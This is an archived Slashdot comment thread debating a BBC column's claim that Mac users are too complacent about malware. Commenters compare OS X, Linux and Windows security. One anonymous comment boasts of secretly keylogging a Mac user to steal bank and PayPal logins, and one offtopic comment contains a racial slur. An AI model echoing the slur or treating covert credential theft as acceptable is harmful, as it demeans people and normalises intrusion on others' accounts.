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Mac users 'too smug' Over Security?

Hemos posted more than 8 years ago | from the the-problem-of-a-monoculture dept.

Security 707

wild_berry writes "Bill Thompson, one of the BBC's technology commentators and presenter of Go Digital on the BBC World Service, expresses his concerns that Mac users assume their safety in the face of trojans, worms, keyloggers and other malware. As a Mac user he is most concerned about the lack of herd immunity that is needed to stop a few infections becoming an epidemic, fully explained in his column week for the BBC technology site. Is he right, and what actual products exist for OS X that would protect against infections?"

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Dead On (4, Interesting)

eldavojohn (898314) | more than 8 years ago | (#14481367)

This article was dead on.

My first ever encounter with this mentality was in high school when my music theory instructor told us that she loved her Mac and when I tried to argue with her about a number of things, she'd repeatedly reply with "No Mac has ever been hacked or had a virus on it."

Now, at the time, I was a young nooblet and probably should have let it slide but instead I snuck into her office and opened up her Macintosh's word editing software with the intent of some lil' bastardry. I found the option to replace a mistyped word with another that the user entered. After that, whenever she typed the word "the", it was replaced with "WARNING! VIRUS DETECTED! PULL PLUG FROM OUTLET AS SOON AS POSSIBLE!" Unfortunately, her son knew enough about computer to fix it so my fun didn't last very long (only one or two lunges at the wall).

Back to the issue--I think it is a grave mistake for anyone to ever feel 100% invulnerable when it comes to computers that are connected to the internet in anyway. I would diagnose this as a standard case of a false sense of security. This is something that has plagued many people throughout history and often led to their downfalls.

What message am I trying to get across to Mac users? First, realize you're not invulnerable. Second, just browse around and look at what's out there for you to use as anti-virus and virus blocking tools. And if you don't want to, read some horror stories [faqs.org], perhaps that will motivate you to become aware of possible worms in your Apple.

Re:Dead On (5, Informative)

pwhysall (9225) | more than 8 years ago | (#14481401)

That link doesn't even mention OS X, and is dated 2000.

Re:Dead On (5, Insightful)

ciroknight (601098) | more than 8 years ago | (#14481556)

Better yet:

There are around 40 Mac-specific viruses and related threats. ++Mac users with [Microsoft] Word 6 or versions of Word/Excel supporting Visual Basic for Applications, however, are vulnerable to infection by macro viruses which are specific to these applications. Indeed, these viruses can, potentially, infect other files on any hardware platform supporting these versions of these applications. I don't know of a macro virus with a Mac-specific payload that actually works at present, but such a payload is entirely possible. ++[Microsoft] Office 98 applications are in principle vulnerable to most of the threats to which Office 97 applications are vulnerable.

Funny. 40 Mac viruses compared to how many PC viruses? 71989 and counting according to Symantec. And the most mentioned causes of problems in security on the Mac Platform? Microsoft products. I rest my case.

It does (1)

EachLennyAPenny (731871) | more than 8 years ago | (#14481568)

The BBC article says "After all, Mac OS is built on top of the Unix operating system and it, like its close relative Linux, has many well-known security problems that can allow it to be compromised.".

Re:Dead On (1)

bbernard (930130) | more than 8 years ago | (#14481637)

That link doesn't even mention OS X, and is dated 2000.

Actually the article is quite recent: "Last Updated: Monday, 16 January 2006, 09:32 GMT" and does, indeed, discuss OS-X: "Mac OS is built on top of the Unix operating system." If I remember correctly, the first version of Mac OS to be built on a Unix platform was OS-X. But, not being a Mac zealot ^H^H^H user, I may be mistaken.

Re:Dead On (1, Flamebait)

KiloByte (825081) | more than 8 years ago | (#14481493)

Well, then tell me why all the virii listed there are either OS9 or Microsoft Office ones?

Indeed, old Macs suffered from security problems -- this is why Apple made the decision to go for a burned ground rewrite. Because they realize that sometimes you can't fix bad design in a milder way.

I'm not a Mac fanboi, hell, I haven't even seen a Mac in my entire life (if porting several pieces of software over ssh doesn't count) -- but I can't remember hearing any unofficial product of the AV industry or their "unconnected" contractors being able to survive in the wild on OS X fruits. Sure, you can pwn users of any OS, but I wouldn't call "please-run-me" trojan as a viable virus.

In other words: Macs are not perfect, but are pretty good. Same applies to *BSD, most Linux distros, Solaris, HP SUX, etc, etc... -- in other words, any major OS made by any company other than Microsoft.

Re:Dead On (1, Insightful)

dc29A (636871) | more than 8 years ago | (#14481620)

In other words: Macs are not perfect, but are pretty good. Same applies to *BSD, most Linux distros, Solaris, HP SUX, etc, etc... -- in other words, any major OS made by any company other than Microsoft.

IMO, there is more to the "*nix* is more secure side of the problem.

The problem is purely "economical". Most scumware writers are in for the money. Yes there are exceptions, but mostly it's about green pieces of paper with dead presidents on them. SPAM, phishing and scams work with volumes. If you, as a hacker, want to target as many potential victims as possible you need to attack the biggest possible group of people using the same platform, Windows. Why would a hacker spend time and resources trying to hack a Mac when only 3.some% of the world uses it when there is huge windows PC monoculture used by 95+% of the planet?

Second, Windows hardened is fairly secure. Problem is, out of the box, it's not secure. Everyone and his grandma is root. IE is deep in the OS. This gives an advantage to *nixes, not saying *nixes don't have security holes.

I would bet that if a Linux vendor would take 90% of the desktop market, it would be a big target for malware writers. And if this vendor would allow, and encourage people to use root accounts for their regular PC usage, it would be almost as bad as Windows.

My first Virus was on a Mac (1)

IAAP (937607) | more than 8 years ago | (#14481634)

Indeed, old Macs suffered from security problems

The first virus I ever got was on one of the original Mac models - the little ones with the 9" screen. It was kind of cool actually. You put your floppy in to save a documnt - MS Word in my case, and it would transfer onto the floppy. And then, when you go to use another Mac, it spread to that one. No need for the Internet.

FUD (0)

Anonymous Coward | more than 8 years ago | (#14481503)

Very nice link:


Viruses and the Macintosh
by David Harley
Version 1.6b: 7th January 2000


when was OSX introduced?

Anyway, apple users shouldn't beleive they are unvulnerable.

But: this knowledge for 95% of the world is commonplace. Every Joe Sixpack thinks the macintosh/linux have their share of malware, viruses, because they're judging by their OS' standards. What this guy should also be saying is that there is no malware for the *nix's up to today. And I'm not talking about being on a blackhat's blacklist... So, hiding that these operating systems are safer today, is just spreading FUD...

Re:Dead On (4, Insightful)

ciroknight (601098) | more than 8 years ago | (#14481507)

First of all, after my Googling, has there EVER been a virus for OS X? Seriously?

Secondly, any kid who's seen an AOL commercial realizes how bad viruses are. n new viruses a day. 50k Windows viruses and counting. And Windows still has no way to stop these things, whereas OS X/Linux/*BSD are designed from the ground up to be immune to the kinds of attacks that Windows gets constantly pounded by.

Next, look at the patch release time. Open Source developers get patches out almost the instant a volunerability is found that is considered to be serious enough to be patched. Mac OS X is an OS project (and thusly, all of the nasty bits that generally cause problems like network applications are OS), with a nice pretty closed GUI. Sure there have been security holes in their products, but they are extremly quick about getting patches out. Microsoft has proved time and again to be a beast of burden when it comes to patches, as seen just recently after it took them over a week to patch a ZERO DAY exploit.

No, Mac users aren't invulnerable. We're simply more secure overall. And we're proud of that.

Re:Dead On (3, Insightful)

troc (3606) | more than 8 years ago | (#14481564)

Now, at the time, I was a young nooblet and probably should have let it slide but instead I snuck into her office and opened up her Macintosh's word editing software with the intent of some lil' bastardry.


You gained physical access to a computer. That has nothing whatsoever to do with network security. All modern computers, PCs, macs, unixes, linux etc can and should be password protected when you aren't there and they are in a place where they could be physically accessed if you don't want people playing with them. We are discussing stuff that arrives remotely, via email, malware, security holes etc.


We can all break into a house and physically steal the data if it's not secured and that has nothing to do with the architecture of the computer.

Re:Dead On (0, Troll)

djsmiley (752149) | more than 8 years ago | (#14481569)

I second this, i met the same resistance when in college (highschool to you kids in the u.s.). At the time we had a lecturer, who wasn't only cocky (which is bad enough) but so sure of him self in every field, although he knew nothing about computers. (It was a multimedia course).

To make matters worse, he didn't even buy the mac he used in college, he made them pay for that as part of his "materials". Eitherway, we had a room full of windows pcs, and a room of macs. Both were plagued by problems, but due to some nice *(supprisingly) network monitoring, vlans, etc by the college, most of the time the problems were contained.

To put a spin on things, i informed the lecturer that the windows pc's were going to suffer due to the fact they had high power gfx cards (which we would use for rendering) and only 300w psus. The guy decided from this point on that i was a know it all, and that anything i said would automagicly be wrong.

After all teh various fun with computers, we started getting the dreaded "hostname or ip exists on network" problems, where people had acidently, or deliberlty changed their IPs so that another machine ended up being kicked off the network when it rebooted.
I was the lucky guy on the course, i got to have the printer connected to my machine! (Scarcasim!!!) One day i got the dreaded message, but knowing what caused it, i checked my hostname and found another pc on the network sharing it. So i changed the hostname and ip of my machine and hey presto, my internet access (*which i DID need for this kind of work) once again worked.
After a little while people had to print out work and it failed over and over, due to the ip and hostname of hte printer server (my machine) being changed... the whole class was accused of "Passwording the printer" which is something im still not sure you can do i windows without creating new users etc.

However, this was the extent of the damage that was ever done on windows machines.... With the macs? well, they wuold blow up, lose work, mess us around, not have the same fuctions we used in windows (In the same programs... photoshop, illustrator, lightwave...)

fun for all the family, couple this with the fact we were using zip disks: /

Re:Dead On (1)

ErroneousBee (611028) | more than 8 years ago | (#14481576)

Whilst you are correct that no OS is completly secure, doesnt it say something that the page you link to lists 40ish Mac viruses, but doesnt even bother to enumerate the 1000s of Mac viruses that are in fact MS Word macro viruses?

The truth is, you have one anecdote of not-a-virus, vs. several years worth of no serious flaws unpatched for long periods, no botnets spamming away, no Sony rootkits, and no real need for desktop virus protection.

Unix variants have security built into the O/S, with superuser access required to install software, and executable files requiring a clear marker that they are executable. Windows still has a bolt-on system that only protects from inturusions after the fact. Any intrusions are seen as a problem in the O/S, not as something requiring an update to the database.

Re:Dead On (1)

nine-times (778537) | more than 8 years ago | (#14481603)

Second, just browse around and look at what's out there for you to use as anti-virus and virus blocking tools.

Yes, look around at the anti-virus market for Macintosh and evaluate which product is best at protecting your Mac from all those viruses and worms that don't exist yet. And then pay $50 in order to protect yourself from those non-existant viruses.

I'm not saying there will never be viruses for the Mac, but I wouldn't advise the average user to start freaking out until there are some real threats. There won't even be worthwhile antivirus products until there are real threats to protect against.

Re:Dead On (1)

Ubergrendle (531719) | more than 8 years ago | (#14481664)

My initial response: "Ohhhh, the smuggness is _just_ about security!"

Come on now, deep down we all know that every Mac user owns a black turtleneck.

I kid, I kid... ;)

Through the glass darkly (2, Insightful)

nkntr (583297) | more than 8 years ago | (#14481379)

It isn't so much that there aren't as many security holes in OSX and Linux (as well as other OS's), but that there aren't the hoardes of people gunning to find them like there are in Microsoft (aka the evil empire) products.

Re:Through the glass darkly (0)

Anonymous Coward | more than 8 years ago | (#14481437)

>but that there aren't the hoardes of people gunning to find them like there are in Microsoft (aka the evil empire) products.

Really? OS X has been out for 6 years now, and there are *still* no viruses for the platform. Can that really be because there's no one trying? Surely there's a boatload of h4x0r cred to be earned by being the author of the first OS X virus....

Re:Through the glass darkly (1)

nkntr (583297) | more than 8 years ago | (#14481574)

Don't kid yourself. I remember when I was a kid, I thought that my BB gun had to be the best, most accurate, and most deadly gun in the world. Of course, I never actually did any real comparisons...

The fact of the matter is, it does not fit the psychy of the average virus writer to go after Mac... Virus writers are after the most bang for their effort, and it logically follows that WIntel products will be the brunt of their efforts (in the same line, I doubt you will find much graphitti on the INSIDE of water towers, even if graphitti artists could get in), and second, most Mac users use a Mac so that they don't HAVE to be technical, so writing a virus is out of their scope in the first place.

Re:Through the glass darkly (3, Interesting)

A beautiful mind (821714) | more than 8 years ago | (#14481447)

On the contrary. Linux is open source, therefor more people are looking to find bugs / rewrite code.

If enough eyes are looking, all bugs are shallow, that is the open source mentality. That is precisely the good thing about open source.

Re:Through the glass darkly (1, Flamebait)

nkntr (583297) | more than 8 years ago | (#14481524)

True, to a point. The open source community is looking at Linux with the specific intent to make it better. There are thousands of people, on the other hand, that are foaming at the mouth (many who also are in the open source community) spending lots of time pouring over Microsoft products, just dying to be the next guy who can say "nyanyanyanyanyanya, Microsoft sucks!" and expose another weakness. The difference is that Linux fundamentally improves feature and stability wise, but not necessarily as much security wise. Sure, bugs are caught, but I assure you, 10000 times the effort is put into finding holes in Microsoft's code. Of course, the logical conclusion of this practice is that eventually, with all the help, Microsoft will truly be a very secure operating system, which is exactly opposite of the intent, I am sure.

Re:Through the glass darkly (0)

Anonymous Coward | more than 8 years ago | (#14481578)

10000 times the effort is put into finding holes in Microsoft's code
Cool. While we're plucking numbers out of our arses, it is a scientific fact that trying to find code flaws is 100000 times harder when you don't have access to the source code in the first place, so I guess it all evens out, or something.

Re:Through the glass darkly (1)

A beautiful mind (821714) | more than 8 years ago | (#14481604)

"Sure, bugs are caught, but I assure you, 10000 times the effort is put into finding holes in Microsoft's code."

I'm not too convinced. Have you ever seen how much effort is to find a hole in the Linux kernel?

It's pretty damn hard even with the source code there.

Compare a linux exploit to a windows one. Most likely the linux one will be one where you have to jump through twenty hoops to exploit the system. On the other hand with windows the difficulty is discovering the flaws, but the flaws themselves aren't that sophisticated (most of the time).

Exploitable bugs are rarer in the linux kernel, than in windows, and because of a good reason: the source code is good, literally.

Re:Through the glass darkly (4, Insightful)

dal20402 (895630) | more than 8 years ago | (#14481514)

Actually, it's both. (Lower marketshare and a safer OS, that is.)

Just to name some of the obvious... OS X can't use ActiveX, it's actually useful when you run a non-administrator account, it doesn't come with Swiss-cheese services enabled by default, it doesn't automatically trust machines on its own subnet, and there's no real equivalent on it to VB scripting.

With that in mind, I absolutely agree that Mac users are too smug and that a dedicated malware author could bring many of us to our knees. (Hell, I run as administrator just to save time, despite knowing the risks. It's a gamble, although I keep good backups.) But an OS X (or Linux) malware author would have to be much more skilled than most Windows-targeting skript kiddies to do a lot of damage.

In today's real world, if you run a Mac (or Linux), you're going to suffer far less than your average Windows user. If you use an out-of-the-box Mac to do typical home-user tasks, which probably include visiting shady corners of the Internet, you won't have the spyware infestations you would with an out-of-the-box Windows box. And most of the routine worms out there have no effect on a Mac.

he's nearly right... (5, Funny)

Anonymous Coward | more than 8 years ago | (#14481380)

Mac users are too smug about... everything ;]

Re:he's nearly right... (4, Insightful)

FidelCatsro (861135) | more than 8 years ago | (#14481426)

That's because we are better than you , Better lovers , Smarter , better built and more charisma ..

Re:he's nearly right... (1)

tpgp (48001) | more than 8 years ago | (#14481489)

That's because we are better than you , Better lovers , Smarter , better built and more charisma ..

Don't forget better at punctuation. ;-)

Oh - and as for your 'Smarter' claim, have a look at this report [news.com.au] about an iPod school.

Mine (1, Funny)

palad1 (571416) | more than 8 years ago | (#14481383)

"Is he right, and what actual products exist for OS X that would protect against infections?"

Try this one [apple.com] . It works for me...

Proof that TFA was right (0)

Anonymous Coward | more than 8 years ago | (#14481473)

A smug response there - well done!

MacOS X itself? (-1, Redundant)

Lord Satri (609291) | more than 8 years ago | (#14481394)

Is he right, and what actual products exist for OS X that would protect against infections?

Euh... MacOSX itself? Or maybe I'm just part of the crowd thinking I'm partially immune just because I use I "safer" OS.

Re:MacOS X itself? (1, Troll)

TheNetAvenger (624455) | more than 8 years ago | (#14481483)

"safer" OS

Safer? I guess, except in the past year Apple released more security and exploit fixes for OSX than Microsoft did for WindowsXP...

So again how is it a safer OS if these exploits existed in the first place?

Go stick you head in the sand until the great Mac worm hits that erases everyone's OSX drives. Then maybe people will realize that NO Operating System is completely safe. PERIOD.

Windows gets a lot of press because 95% of the world are using it, and it truly is targeted a bit more. Think about it, if you were going to write a virus to screw with the world, would you spend time finding a way to infect 5% of the world's computers or the other 95%?

Re:MacOS X itself? (4, Insightful)

jrockway (229604) | more than 8 years ago | (#14481625)

> So again how is it a safer OS if these exploits existed in the first place? Go stick you head in the sand until the great Mac worm hits that erases everyone's OSX drives. Then maybe people will realize that NO Operating System is completely safe. PERIOD.

If you look at the OS X `exploits' (quotes because that's not what they are), most of them are holes in software that doesn't even run by default. Are you using Apache 2 (not 1.3) on your desktop? If so, the security update will prevent a malicious trusted (!) proxy server from crashing one thread of your Apache instance.

If you're using Windows, you need the security update to prevent the web browser from downloading an image that puts a rootkit on your machine.

It's all about severity, and OS X's "holes" just aren't that bad. However, MS consistently manages to provide a multitude of auto-infection routes to virus writers.

Re:MacOS X itself? (0, Flamebait)

eboot (697478) | more than 8 years ago | (#14481635)

My god what a moron you are. Ok so imagine that you, an idiot, is sitting at home writing a virus and he thinks to himself 'well i could write a virus for 95% of the computing market or I could write a virus for the 5% that have never been hacked and become infamous across the web... No wait ill write another virus for that 95%' FFS its not like apple are even low profile anymore, big enough to take potshots at no problem if it were that easy.

Ok you dumb ass, look at what your comment says about patching. Apple releases a lot of security patches AND there are NO viruses, Windows releases less patches AND has MANY many many viruses. So what Apple are relying on security through obscurity? Or maybe they are patching there OS all the time to make sure it stays 100% secure unlike Windows which is at the stage of 'damage control'?

P.P.S. You dont even know how computers work do you? what are you doing here? a mac virus that erases the hard drive? Macs dont even run in root 99% of the time!!!

Re:MacOS X itself? (0)

Anonymous Coward | more than 8 years ago | (#14481600)

Your part of the crowd that didn't RTFA.

Mac resistance to malware (3, Insightful)

ayelvington (718605) | more than 8 years ago | (#14481399)

The guy is right, and security by obscurity doesn't really work for long. I suppose that the security of Macs rests in the continued success and growth of Windows.

I have a Mac and only have the firewall turned on. I suppose I'm off the bell curve since the Mac is for entertainment only and I rarely browse and never use email with it.

So, is there a profile of a Mac virus writer???

-a

Re:Mac resistance to malware (5, Funny)

ioErr (691174) | more than 8 years ago | (#14481541)

So, is there a profile of a Mac virus writer???

Judging by the amount of viruses out for Mac OS X he's one lazy fucker.

Re:Mac resistance to malware (0)

Anonymous Coward | more than 8 years ago | (#14481565)

Actually I think the Mac virus programmer looks more like thin air.

Probably needs to be Microsoft luser to be able to see him.

Oh no.. (3, Insightful)

ciroknight (601098) | more than 8 years ago | (#14481408)

Not another one of these articles.

If you want to talk about any audience that's too smug, talk about Linux. Linux is on more important machines, and yet everyone talks about how safe and secure it is, even though in some cases it's just not true at all. Yes, Open Source code is generally more secure, but the major parts that need to be secured in OS X are Open Source.

As far as I'm concerned, both Linux and OS X are going to be one hell of a lot safer than Windows for a long time running, and so I can rest and relax in my relative security thanks to Microsoft's inferior security practices.

What's worse? (3, Interesting)

DaHat (247651) | more than 8 years ago | (#14481411)

The retailers who make this claim to those who may not know better.

A local Mac shop practically advertises that a Mac is totally secure and immune to viruses and spyware.

Every time I see one of their commercials I shake my head at the persons obvious lack of understanding of the issues at hand. It's one thing for a Mac fan to say there are secure due to their delusion... it's quite another for them to use their delusion as the basis for a sale.

It's just a shame that for them to be proven wrong, a lot of people and their PC's have to get hurt.

Re:What's worse? (4, Interesting)

guet (525509) | more than 8 years ago | (#14481512)

A platform which doesn't have Active-X, doesn't have services running out of the box, doesnt' have autorun for CDs with Sony Malware, and doesn't have an unfortunate legacy meaning almost all apps require continual admin access, is more secure in my book. There's a couple of operating systems that fit the bill, one of which you seem to hate : )

Having no known viruses at this point is an extra bonus.

Not immune of course, but then I don't hear many people claim that, in fact, I've never heard anyone say that, just heard it repeated as a truism (Mac users think this) on websites.

It's just a shame that for them to be proven wrong, a lot of people and their PC's have to get hurt

A lot of people and their PCs get hurt continually at present, but they come back for more and keep running the same broken system.

Re:What's worse? (0)

Anonymous Coward | more than 8 years ago | (#14481554)

> a Mac is totally secure and immune to viruses and spyware.

I've had .vbs files and exe's mailed to me and sometimes I get broken plugin icons in safari... But I couldn't infect my Mac with those if I wanted to unless i ran Virtual PC / Windows.

If you only hear about houses with wooden front doors getting burgled and you're the only one in your neighborhood with metal front door, which everyone agrees is a bit harder to crack open, would you pay for an alarm system and a guard dog?

Only if you have something really priceless inside.

I've got backups and I pay attention when something asks me for Admin privileges. Lets see a few thousand macs get infected with something nasty first, then maybe I'll consider some additional protection.

Re:What's worse? (4, Insightful)

Jason Earl (1894) | more than 8 years ago | (#14481577)

You can keep waiting for the Mac folks to be proven wrong, but chances are good that you'll be waiting a long time. You see, just like biological viruses computer viruses need two things before they will take off. The first thing that they need is an exploitable weakness. The Mac has enough of those that a worm is certainly possible. The second thing that you need is a large enough body of susceptible hosts that the worm can spread. Macs *don't* have that. Without a large body of susceptible hosts the entire population is safe. That's why it doesn't matter that my neighbors don't immunize their children. The fact that their children are susceptible to immunizable diseases doesn't really matter because there aren't enough luddites to create a viable population of carriers.

Interestingly enough, most of the same effects can be had simply by not using Outlook and IE on Windows as these two programs are the main vectors for infection.

Re:What's worse? (1)

santos_douglas (633335) | more than 8 years ago | (#14481585)

I was just at my local (Lansing, MI) CompUSA and overheard the Mac rep making similar claims as his pitch to a potential customer. His exact word were "unlike with a PC, with a Mac you don't even have to think about viruses or spyware..." I was mildly shocked to hear it from an official rep like that.

HAPPY NIGGER LUTHER KING DAY!!! (-1, Offtopic)

Anonymous Coward | more than 8 years ago | (#14481412)

I'ma smoke a blunt n fuck a ho to celebrate mah nig MLK!

One product stops mac PCs from getting infected. (4, Insightful)

MMC Monster (602931) | more than 8 years ago | (#14481420)

That's Mac OS X.

There's no substituting an OS that doesn't let the average user have administrator rights all the time.

The windows users state that they don't need to run as administrator, but then ask them what hurdles they have to go through to make their software "just work".

depends on the user really (1)

the_humeister (922869) | more than 8 years ago | (#14481422)

In the computing world, there are clueless people, slightly more knowledgeable people, and the computer geeks. For the Mac crowd, I would gather the clueless and the computer geeks aren't smug since the clueless don't know what's out there and the geeks know that nothing is 100% secure. That leaves the slightly more knowledgeable people since their argument is that there hasn't been a virus reported since mac os x came out.

Re:depends on the user really (0)

Anonymous Coward | more than 8 years ago | (#14481502)

I guess you'd categorise me as somewhere between the high end of knowledgeable and geek. There *are* no OS X viruses yet. Period. Six years and counting. Certainly there will be a virus, etc, some day. But when that day comes, existing products won't be able to find it. How can you search for something that doesn't exist (or didn't when the AV program was written)? AV companies will rush to come to market with response to the threat, and that's when you should start using something. Until then, it's a waste of money and cycles.... Keep your firewall turned on and watch the Mac news channels so that when the day does come, you know about it.

Re:depends on the user really (1)

M-RES (653754) | more than 8 years ago | (#14481595)

Precisely!! 20 years of Mac use under my belt and NEVER HAD A SINGLE VIRUS!!!! Nobody's 100% secure, and one day a virus will come, but for the time being I'd still rather be living in the false Nirvana of OS X than the daily Hell of 'doze!!

Re:depends on the user really (1)

Chyeburashka (122715) | more than 8 years ago | (#14481561)

There has always been a multi-modal distribution of computer literacy, but I've seen a shift of the truely clueless to the Windows platform, and most Linux geeks I know use OS X also. Any OS geek of any stripe understands the need to be vigilant with patches and configuration, but that still leaves a large middle ground of the moderately informed user.

It is these Mac users who will contribute to a future OS X security debacle. When Apple releases a Security Update, the geeks will apply the updates right away, and the clueless will do as told. But the middle ground still has the dangerous attitude that security updates on the Mac aren't important since the OS is so secure already. This is a problem.

In the end it all comes down to "safe" usage (1, Informative)

antifoidulus (807088) | more than 8 years ago | (#14481427)

Regardless of what OS you use, you are never 100% secure. Much like safe sex, stick to stuff you know is safe and 99% of time, you should be fine. If you do decide to venture into the internet darker corners, then "protect" yourself as much you can, and of course never assume that "it will never happen to me"

Re:In the end it all comes down to "safe" usage (1)

guardian653 (784260) | more than 8 years ago | (#14481651)

That is awsome.. a comment that compares computer usage (in this case security) to sex! Yes!

When people start targeting Apple or *NIX (3, Insightful)

Secrity (742221) | more than 8 years ago | (#14481430)

It will be a GOOD indication when malware writers start attempting to target Apple or *NIX. It will either mean that MS produsts no longer the dominate player or it will mean that MS products are no longer a major security problem.

wait.... (3, Insightful)

William Robinson (875390) | more than 8 years ago | (#14481438)

IANA Mac user, but, isn't there Word (or Microsoft Office) for Mac? What is difference between Word on Windows and Mac that prevents those notorious macro virus?

Re:wait.... (0)

Anonymous Coward | more than 8 years ago | (#14481589)

There isn't. That's why most of the reported Viruses for Mac are Office issues.

Re:wait.... (2, Insightful)

mstroeck (411799) | more than 8 years ago | (#14481592)

Uhhhm, not running as root all the time? An OS that actually seperates user-space stuff from the internals?

Re:wait.... (4, Informative)

gEvil (beta) (945888) | more than 8 years ago | (#14481622)

IIRC, Word macro viruses on a Mac tend not to be nearly as damaging as their Windows counterparts (less ties into the system and other Office apps, etc). However, the big problem is that Word for Mac acts as a vector of transmission. Word docs that contain macro viruses that don't affect the Mac in any way can wreak havoc as soon as they're opened on a Windows machine (assuming someone clicks the 'run macros' button on opening the file).

Security by design (1)

MysticOne (142751) | more than 8 years ago | (#14481439)

As a Mac user, I'm not that worried about viruses, trojans, all that stuff. I felt the same when I was a Linux or a FreeBSD user. Why? The design of the operating systems makes the risk of infection very low. There may be a bug or two that come along at some point where a virus writer can exploit them to do something bad. Even with all that, the most it would probably be able to do is screw up stuff in my home directory. It's not something I'm going to worry about, and definitely not something I'm going to pay money to avoid when there's such a slim chance of anything happening. I use good judgement to determine what I should or shouldn't run, and I go from there.

Re:Security by design (0)

Anonymous Coward | more than 8 years ago | (#14481534)

Even with all that, the most it would probably be able to do is screw up stuff in my home directory.

Unless of course, they also happen to have a local root exploit as well as a remote local user exploit.

Dont forget that privilege escalation is a problem if you execute some malware.

Re:Security by design (1)

TheNetAvenger (624455) | more than 8 years ago | (#14481617)

Why? The design of the operating systems makes the risk of infection very low.

The very same words were used for Windows NT during the early 90s. And it was just as true then for Windows NT as it is now for OSX. But as with NT, the Grace period for OSX is about up, it is gaining some popularity again and even if not marketshare, media visibility.

Most viruses of the time were written to target 16bit Windows and DOS, so NT was immune to most viruses.

It however did not mean that it was truly more immune to viruses. Even with all the security inherently built into NT, all it takes is a user to give an application permission to infect it. The same IS true on OSX as well.

So feel more secure, Anti-Virus software for Windows NT really didn't even exist until NT 4.0 and the Internet became popular. It wasn't needed as it was not targeted for viruses.

Now remember Windows NT is the core of Windows 2000 and WindowsXP... And you have seen the security of WindowsNT be circumvented many times in the past few years..

So do you still feel so safe, or will it take popularity or a mass OSX infection to give you a wake up call?

(PS I'm also a good judge of what to run or not run, and that is a key. I have NEVER had a virus or infection of anytype on my Windows PC. And I have been running Windows since the 3.0 and Win386 days. But trust me, this does not mean Windows is virus proof. *wink*)

I also use to caution NT advocates in the early 90s that touted it as being immune to viruses. Even though it was true at the time since the viruses were targeting DOS and 16bit Windows, it was very misleading and a dis-service to users as NT grew in popularity.

Take Care and continue to be cautious, but don't propogate the OSX is safe myth, even if you know what to run yourself, not all users do.

Re:Security by design (0)

Anonymous Coward | more than 8 years ago | (#14481658)

good point. cracking is a different story though. all it takes is a reasonably smart black hat and local access or less than current build. ever heard of logkext? great keystroke logger that I have used myself. last time i used it on a smug mac user's mac, I got at least 5 of their accounts and passwords, including 2 email, 1 bank, ebay and paypal.

5% of the malware? (3, Interesting)

yurigoul (658468) | more than 8 years ago | (#14481456)

From the article:
One reason why there aren't many malicious Mac programs is that there are fewer Mac users out there, but the fact that some have been written shows that they are possible in principle.
5% mac users equals 5% of the virusses and other malware, wich should be equal to tens of thousands. Well, anyone knows how many there are out there? I haven't seen anything since os8, and trust me, I am neither safe, nor do I stay away from those funny sites or those servers with funny programs.

Re:5% of the malware? (0)

Anonymous Coward | more than 8 years ago | (#14481626)

Its not 1% marketshare == 1% viruses.

Also the vast majority of Windows viruses are simply variants on each other to avoid detection. Take a look at how many different variants there are of like Sober. 5% market share will probably be closer to 1% viruses... Who wants to write a virus that hits 1 in 20 computers? You'd be lucky to even get your virus mentioned in a local paper much less national headlines.

There are several Mac viruses, Like Simpsons and its variants (Applescript exploit, acts just like the Love virus on windows) Theres MW2004 which pretends to be an installer for Mac Office and actually just deletes the home directory on OS X.

They ARE out there, but SO limited that its hard for them to spread at all. the emailer might send out 500 emails but if only 10 are macs and maybe 3 are vulnerable to that particular exploit its gonna burn itself out very fast.

Re:5% of the malware? (1)

TERdON (862570) | more than 8 years ago | (#14481636)

There are no viruses targetting a clean OS X installation, at least not yet. There however are some macro viruses targetting Microsoft Word running under Mac OS X. The most of them won't work under Mac OS X (as many assume the existence of C:\), but surely some of them do work.

How do you protect against the unknown? (1, Troll)

topham (32406) | more than 8 years ago | (#14481468)

How does the average user protect against the unknown?

When I get my new iMac ('free') I will be adding some extra security to the system. But the average user cannot do what I will be doing.

And as for the anti-virus software outthere, except for dealing with Office viruses, and maybe System 6-9 viruses what is it supposed to protect against? It's snake-oil.

How do i know they even have staff on hand to deal with an outbreak where there hasn't been anything of significance in 5 years. (yes, I heard about issues within the last 5 years, they were not particularly significant as they were risks, not outbreaks.

How many people on Slashdot actually run anti-virus software on their Linux boxes? 5%?

Re:How do you protect against the unknown? (4, Interesting)

redragon (161901) | more than 8 years ago | (#14481562)

I will be adding some extra security to the system. But the average user cannot do what I will be doing.

Why don't you enlighten us oh gifted one?

Re:How do you protect against the unknown? (1)

A beautiful mind (821714) | more than 8 years ago | (#14481646)

"How many people on Slashdot actually run anti-virus software on their Linux boxes? 5%?"

I think the percentage is much lower than that, probably less than 1% and most of those boxes are mailservers blocking viruses for the windows crowd.

Migrated to Windows (3, Interesting)

zlogic (892404) | more than 8 years ago | (#14481475)

I've been using Linux for nearly a year with no Windows on my PC. After that, I had to use Windows (developed .NET apps) and on the first day got 3 completely different viruses and managed to get my system completely screwed up. Before that I had a huge experience in Windows and never had any real problems with that kind of stuff. However it appears that I've completely lost awareness of the possible dangers of running every app without checking first.
So it appears that Linux and probably Mac users are less aware of malware and do some really careless things because the probability of getting a virus is extremely low.

Complasancy (1)

TCFOO (876339) | more than 8 years ago | (#14481485)

When we hear about viruses, worms etc. ravaging Microsoft products it is easy for those of us who don't use Microsoft Products to become complasant because our system is not affected. When we become too complasant, and think that our system will never be affected, and never take steps to prevent infection, we will be in a world of hurt when a virus, worm etc. desides to attack whatever system you use. Like Solomon said "Pride cometh before a fall"

Re:Complasancy (0)

Anonymous Coward | more than 8 years ago | (#14481516)

Not only that, it is easy to become complacent.

well, here's the problem... (5, Insightful)

nuckin futs (574289) | more than 8 years ago | (#14481495)

there are numerous anti virus programs out there for the Mac, but what virus are they scanning for? There are no known viruses for OS X, so how can they update the virus definitions if they have nothing to base it on? They've seen a vulnerability here and there, but nothing has been exploited yet. So it's like the chicken and the egg. you need an AV program to protect yourself from viruses, but you need a virus for the program to detect.

The day i see a virus on OS X is the day I buy an AV program.

Re:well, here's the problem... (1)

macmaniac (734596) | more than 8 years ago | (#14481610)

Generally, they're looking for Windows virii. While there aren't any OS X virii (yet), Macs can still carry Windows virus-laden files.

"Too smug" or "Not aware"? (1, Redundant)

hal2814 (725639) | more than 8 years ago | (#14481510)

I don't know what Mac users most people hang around with but the ones I know wouldn't know security or virus protection if it came up and bit them on the nose. A lot of these folks can barely turn on their machines and fire up their browser and word processor. I realize that I'm just speaking for the people I know but those people are Apple's target audience.

Bill Thompson is right (3, Interesting)

standards (461431) | more than 8 years ago | (#14481527)

